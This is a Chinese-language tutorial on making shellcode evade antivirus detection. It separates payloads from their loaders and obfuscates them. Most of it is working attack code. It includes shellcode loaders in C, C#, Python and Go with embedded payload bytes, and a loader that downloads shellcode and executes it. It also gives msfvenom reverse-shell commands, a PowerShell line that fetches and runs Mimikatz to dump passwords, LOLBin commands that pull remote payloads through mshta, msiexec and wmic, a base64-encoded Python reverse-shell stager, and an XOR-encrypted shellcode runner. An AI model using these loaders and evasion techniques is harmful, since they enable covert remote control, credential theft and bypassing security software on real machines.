那些shellcode免杀总结

自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。


文中我将shellcode免杀技巧分为 "分离“、”混淆“两个大类,通过不同技巧针对不同检测方式,也就是常听到的特征检测、行为检测、云查杀。

个人能力有限,文中出现错误还请*斧正、轻喷。


0x01 那些shellcode"分离"免杀

首先来看看关于shellcode常用得C/C++加载方式

常见方式比如函数指针执行、内联汇编指令、伪指令等方式。

但是这种shellcode明显 和执行程序在一起很容易被查杀

所以大多数分离免杀的思想就是把执行shellcode和加载程序分开。

来看看常见的分离加载 拿C++举例

正常使用像 VirtualAlloc 内存操作的函数执行shellcode :

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中

举例:shellcode从文本提取或从远程下载获取。

这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组,动态分配内存执行shellcode:

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

看下查杀情况: 去除shellcode后火绒已经不杀了

类似这种远程读取中还有很多 ,类如powershell内存加载,相信各位也没少用过

举例:powershell远程加载mimikatz读取密码

 powershell IEX (New-Object Net.WebClient).DownloadString('

[url]https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'[/url]); Invoke-Mimikatz >>c:\1.txt

类似的还有很多,不过这种用得很多内存加载有些杀软还是拦的,怎么解决我们文后面再说。

其实到这里,用的最多的语言加载器的原理不用说也知道了,这里还是解释下加载器,引用我同事对加载器的解释:

shellcode就好比一杯水,加载器就是装水的杯子,水倒进了杯子才可以喝,shellcode被加载器装载后才可以执行。

A)那些加载器执行shellcode:

ssi:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

上传中:image.png(1)...

shellcode_launcher:

c#加载:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function’s compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {
            
            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

py加载:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

go内联c加载:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ...省略...
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

资源加载:

CPLResourceRunner:

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

 py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13


cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

powershell加载(MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                    0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                    0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                    0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                    0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                    0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                    0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                    0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                    0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                    0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                    0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                    0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                    0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}
msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

image


加载器就到这里吧,加载器的实现有能力可以自己造轮子,免杀效果非常不错的。

B)Lolbins白利用加载shellcode

除了加载器这种"杯子和水"的分离的思想,个人认为还具有"分离"免杀思想的就是Lolbins,也就是白名单。

下面例举一些白利用,这种分离多半是因为杀行为特征,比如你这个程序运行上下文不应该访问某个api,这种就会被捕获,而白利用就是绕过这种行为捕获,而这种白利用中有的shellcode或执行文件还是会落地被查杀,这个文后部分会提到,先来看白利用。

LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。 说白了就是白利用 ,举个例子

DarkHydrus APT样本

MD5:B108412F1CDC0602D82D3E6B318DC634

使用到的启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”

这里就用了cscript加载vbs 添加开机启动项,启动脚本。

mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe [url]http://192.168.174.134[/url] /qing.hta

替换模板:

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

shellcode替换位置:

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i [url]http://192.168.174.134[/url] /qing.txt

加载dll:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:


C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

模板用三好师傅的:

Installutil

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs


执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe


详细:
[url]https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/[/url]

wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"
 
模板:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
  

csc:


msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

通过Installutil执行即可

白利用就不列举更多了,其他一些白利用也是一个道理,那么问题来了,前面说的白利用执行某些时候我们的shellcode生成的exe或者dll还是会落地,

虽然前面说的内存加载可以解决这个问题,那假设必须落地,怎么逃过各种检测呢?

这就是我归为免杀的第二个方式大类,混淆免杀。


0x02 那些shellcode"混淆"免杀

shellcode是否可以像php一句话那样混淆、加密、拆分呢

还是从最简单的举例子开始

A)shellcode编码混淆

xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别

这里拿C# xor为例子(ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
    static class Program
    {
        //==============================================================================
        // CRYPTO FUNCTIONS
        //==============================================================================
        private static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        private static byte[] xor(byte[] cipher, byte[] key) {
            byte[] decrypted = new byte[cipher.Length];

            for(int i = 0; i < cipher.Length; i++) {
                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
            }

            return decrypted;
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        private static byte[] aesDecrypt(byte[] cipher, byte[] key)
        {
            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    return ms.ToArray();
                }
            }
        }

        //==============================================================================
        // MAIN FUNCTION
        //==============================================================================
        static void Main()
        {
            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
            string key = "qing";
            string cipherType = "xor";


            byte[] shellcode = null;

            //--------------------------------------------------------------
            // Decrypt the shellcode
            if (cipherType == "xor") {
                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
            }
            else if (cipherType == "aes") {
                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
            }
                        
            //--------------------------------------------------------------            
            // Copy decrypted shellcode to memory
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // Prepare data
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the shellcode
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(
            UInt32 lpStartAddr,
            UInt32 size,
            UInt32 flAllocationType,
            UInt32 flProtect
        );

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
    }
}


其他语言也是一样,比如py 异或编码、base64、十六进制这些都是可以的

py Base64(k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
  
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
  
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
  
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

py 十六进制(k8gege):

#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
